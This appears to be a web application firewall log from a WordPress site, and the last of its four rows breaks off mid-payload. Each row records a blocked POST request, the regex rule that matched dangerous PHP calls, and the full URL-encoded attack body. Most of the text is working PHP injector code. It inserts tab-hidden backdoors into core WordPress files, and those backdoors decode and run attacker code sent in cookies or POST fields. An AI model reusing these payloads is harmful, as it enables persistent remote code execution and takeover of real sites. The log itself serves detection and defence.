["2026-05-12 23:51:57","103.93.94.155","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ZV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Xsalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-5%252B5%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B95%252B-94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B25-22%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B27%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524component%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278e1fadd6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522settings%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524factor%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524flag%2520%253D%2520%25224bf9821cb4cbc7f718e9e2d7f738b661%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dependency_resolver_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJyLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4414\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\n\nZV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Xsalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-5%252B5%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B95%252B-94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B25-22%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B27%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524component%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278e1fadd6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522settings%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524factor%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524flag%2520%253D%2520%25224bf9821cb4cbc7f718e9e2d7f738b661%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dependency_resolver_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:52:09","173.212.252.15","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Xsalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-5%252B5%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B95%252B-94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B25-22%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B27%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524component%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278e1fadd6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522settings%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524factor%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524flag%2520%253D%2520%25224bf9821cb4cbc7f718e9e2d7f738b661%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dependency_resolver_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4437\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Xsalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-5%252B5%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B95%252B-94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B25-22%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B27%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524component%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278e1fadd6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522settings%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524factor%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524flag%2520%253D%2520%25224bf9821cb4cbc7f718e9e2d7f738b661%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dependency_resolver_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 23:52:38","164.52.218.210","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ZG:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524sym%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524f%253D0%253B%2520%2524f%253Cstrlen%2528%2524data%2529%253B%2520%2524f%252B%252B%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524f%255D%2529%2520%255E%252055%2529%253B%257D%2520%2524component%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524pointer%255B%2524component%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524component%2520%253E%253D%2520count%2528%2524pointer%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%2526%2526%2520is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.dchunk%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524descriptor%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524descriptor%253B%2520unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524component%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJxpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4152\n\nZG=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524sym%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524f%253D0%253B%2520%2524f%253Cstrlen%2528%2524data%2529%253B%2520%2524f%252B%252B%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524f%255D%2529%2520%255E%252055%2529%253B%257D%2520%2524component%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524pointer%255B%2524component%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524component%2520%253E%253D%2520count%2528%2524pointer%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%2526%2526%2520is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.dchunk%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524descriptor%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524descriptor%253B%2520unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524component%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:53:37","57.128.189.50","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524sym%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524f%253D0%253B%2520%2524f%253Cstrlen%2528%2524data%2529%253B%2520%2524f%252B%252B%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524f%255D%2529%2520%255E%252055%2529%253B%257D%2520%2524component%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524pointer%255B%2524component%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524component%2520%253E%253D%2520count%2528%2524pointer%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%2526%2526%2520is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.dchunk%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524descriptor%252C%2520%2524sym%2529%2520%